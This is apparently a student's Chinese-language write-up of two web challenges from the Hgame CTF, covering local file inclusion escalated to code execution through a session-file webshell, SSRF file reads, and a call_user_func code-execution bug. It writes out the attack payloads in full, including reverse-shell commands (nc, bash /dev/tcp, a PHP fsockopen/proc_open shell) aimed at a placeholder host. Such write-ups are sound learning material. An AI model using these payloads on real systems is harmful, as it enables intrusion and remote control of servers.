前言:
Hgame 正赛结束了,除去签到题之外,一共只做出了两道题(一道Web,一道Misc)。Web还是在hammer学长的不断提点之下才做出来,最大的感受还是知识不够,不知道如何去做题,甚至发现漏洞后也不知道如何去进一步利用,像一个没头苍蝇一样到处乱撞。想来接下来的时间,自己是应该多做一些CTF真题、多看一些大佬的Blog并且亲自动手实践(Konw it then do it),积攒一下经验了。赛后又继续做了一下题目,整理一下的知识点
Web1(未做出) :
初探
打开后是一个登录界面,自然而然的试了试注入,发现过滤相当严格,发现一旦发现输入的内容存在可能导致注入的字符,就会跳转到hacker.php。
F12看了下,界面除了登录框之外,什么都没有:
<!DOCTYPE html>
<html>
<head>
<link href="./assert/css/style.css" rel='stylesheet' type='text/css' />
<!--webfonts-->
......
<!--//webfonts-->
<script src="./assert/javascript/jquery.min.js"></script>
</head>
<body>
<!--SIGN UP-->
<h1>Login Form</h1>
<div class="login-form">
<div class="close"> </div>
<div class="head-info">
......
</div>
<div class="clear"> </div>
<form method="post" action="login.php">
<input type="text" class="form-control" name="username" placeholder="Username">
<div class="key">
<input type="password" class="form-control" name="password" placeholder="Password">
</div>
<input type="hidden" name="action" value="login" />
<div class="signin">
<input type="submit" value="Login" >
</div>
</form>
</div>
</body>
</html>
当时就没了思路,去做了别的别的题目。现在想想其实提示的还是很明显的——Login Form 登录表单,那自然应该去想到还有 Register Form(其实正常情况下就算不提示也应该想到还有注册界面,自己思维太僵硬了,看到表单就只想到Sql注入)
初窥门道——LFI
那么在地址后输入 register.php 后进入注册界面,注册一个账号然后回去登录,看到 url 跳转成
那么自然想到 LFI ,尝试一下读取文件吧:
啥都看不到,没关系,还有这个:
http://example.com/page=php://filter/read=convert.base64-encode/resource=/etc/passwd
读到了,那么接下来读一下题目源码吧,最后读到的文件有:
读一下源码:
先看一下config.php:
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$DBHOST = "mysql";
$DBUSER = "root";
$DBPASS = "0720";
//$DBPASS = "";
$DBNAME = "hgame";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
?>
拿到了数据库的账户密码。再看一下 login.php:
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}
?>
可以看到 login.php 中并未直接对 username 和 password 做过滤,直接交给了 function.php 里的 login 函数,那么看一下 login 函数吧:
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `users` where `username`= '$user' and `password` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin];
return true;
} else {
return false;
}
return;
}
register() 函数里也同样调用了Filter() 那么看一下 Filter 函数:
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ (),_*`$-@[]=+><?";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
唔,白加黑,注入是别想了~~
升级——LFI to RCE
后来又在 Alias 学长的提醒下搜了一下 LFI to RCE, 找到了这篇文章:
是说利用 php sessions,把 本地文件包含漏洞 升级成远程命令执行漏洞。大体的内容是:当后端把用户名存储在session里面,并且用户名过滤不完全时,会导致 php 存储的 session 文件中可以被写入恶意代码,当结合 LFI 漏洞时,就可以执行恶意代码,实现远程命令执行攻击。
那么我们再来看一下手里的源码,先注意 login() 函数中的如下内容:
$data = $res->fetch_array();
$_SESSION['user'] = $data[username];
$_SESSION['login'] = 1
$_SESSION['isadmin'] = $data[isadmin];
可以看到 session 里面的确存在用户名
那么再看下 Filter() 函数中的过滤内容:
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ (),_*`$-@[]=+><?"
可以看到 < >,? [],(),_ 这些 php 必需的符号都没有被过滤。
也就是说 session[‘user’] 完全在我们的控制下。
那么思路就很明确了,注册一个用户名为
<?php eval($_POST[cmds] ?>
的账户(没有引号不影响执行),登录后读取session值,然后利用 LFI ,访问session文件,执行一句话木马。php 的session 文件的位置是:/var/lib/php/sessions/sess_你的sessionid
接下来就是正常的一句话木马的使用。
其实到这里题目已经可以结束了,只需要自己编几段 php 代码,利用一句话木马执行,查询一下数据库的内容就可以获得flag了,如:
require_once "/var/www/html/config.php"; //或者把config.php里的内容直接复制过来
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
//$sql = "show tables ";
$sql = "select * from flag ";
$res = $mysqli->query($sql);
print_r($res);
while($row = $res->fetch_array())
{
echo " {$row[0]} <br>";
}
就可以拿到 flag 了。
拓展——getshell
但是我想利用这个题目,顺带学习一下反弹 shell ,于是开始尝试执行:
system('nc -e /bin/bash xxx.xxx.xxx.xxx 7777');
bash -c 'sh -i &>/dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1'
结果两种方法都不能获得 shell,于是去问了一下 Alias 学长(感谢 Alias 学长不厌其烦的给我解惑…),得知 docker 里面没装 nc…..而 bash 重定向会把 phpfpm 搞挂。。反弹的shell也就一瞬间跟着挂了…..于是学长让我去看看 phith0n 师傅的博客,找一找其他的反弹 shell 的方式,于是我找到了这篇文章0
是说如何用 php 直接反弹一个 shell 而不借助其他任何语言,
$sock = fsockopen('xxx.xxx.xxx.xxx', '7777');
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
执行这段代码就可以getshell,(想起python也有类似的方式可以反弹shell)具体原理看 phith0n 师傅的文章。
然鹅反弹的 shell 无法交互…可以连接 mysql 查询却看不到结果,于是又去烦了一波 Alias 学长(再次感谢 Alias 学长不厌其烦的给我解惑…o(╥﹏╥)o) 学长说反弹的 shell 就是不能交互的啊!
而我突然发现 docker 里居然装了 python!于是在网上搜到了一个利用 python 获取交互式 shell 的方法:
python -c 'import pty;pty.spawn("/bin/bash")'
这样就可以获取一个完美的交互式 shell 了!
Web2(在hammer学长的不断指点下做出…)
弱密码
这是一道把各种漏洞综合起来考察的 cms 题目,打开后依然是登录界面…当时依然是死磕了注入无果,然后就去做杂项了..后来 hammer 学长放出 hint 说用弱密码爆破。
于是找了个字典,用burp跑了半小时也没跑出结果,于是 hammer 学长又提供了一个字典给我们,最后用 admin admin123 成功登陆。
登陆后看到一个授权界面,要求输入授权码,但是这个授权认证居然是通过 JavaScript 控制跳转的。于是直接在 js 里找到跳转后的地址。
SSRF
访问后是一个表单,输入框的 name 属性的值是 url,于是尝试输入一个链接http://www.baidu.com 点击提交后发现页面加载了链接的内容,于是明白这里应该是一个 ssrf 的漏洞了。那么试试读文件,输入:
file://etc/passwd
成功读到文件。
然后又继续不知所措了…
hammer 学长再次提示:读一下 Nginx 的配置文件,进而可以读到题目的源码。
于是百度到了 Nginx 配置文件的位置:
/usr/local/nginx/conf/nginx.conf
(听学长的话,一定要把这些常用文件地址背熟)
然后找到了题目的源码位置,那么继续读题目源码
一个经典的漏洞
源码里最重要的内容是这段:
@$_ENV = $_POST;
function MyCode($request){
$_ENV[c] = base64_decode($_ENV[c]);
print_r($request);
$request($_ENV[c]);
}
@call_user_func('MyCode', $_GET['func']);
调用了call_user_func()这个函数,php 文档对这个函数的解释如下:
(PHP 4, PHP 5, PHP 7)
call_user_func —— 把第一个参数作为回调函数调用
mixed call_user_func ( callable
$callback
[, mixed$parameter
[, mixed$...
]] ) 第一个参数callback
是被调用的回调函数,其余参数是回调函数的参数。
学长说这是个很经典的东西,有不少漏洞都出在这里,赛后我查了下相关的资料,的确发现了不少有趣的东西,过几天尝试、总结一下。
回到这道题目上来,很明显这里是一个RCE漏洞,函数没有经过任何过滤就执行了用户的命令。
那么构造如下请求:
http://example.com?func=eval&c=J3N5c3RlbShscyknOw== (c=‘system(ls)';)
结果没反应,后来听说是因为eval被ban了…
那么尝试直接调用system():
看到目录下存在一个Readme 文件 那么再用相同的方式 cat Readme 就能看到flag了。
ps:
本来这道题目到这里还并没有结束,接下来据说还需要进行内网渗透才能 getflag 但是 hammer 学长发现我们实在是太菜了…于是干脆砍掉了后半部分的题目,直接丢出flag…
后记
一场正式赛活活被我打成了教学赛……不知道自己能否用四个月时间成长为像去年协会刚刚招新时,我在群里看到的学长们一样的CTFer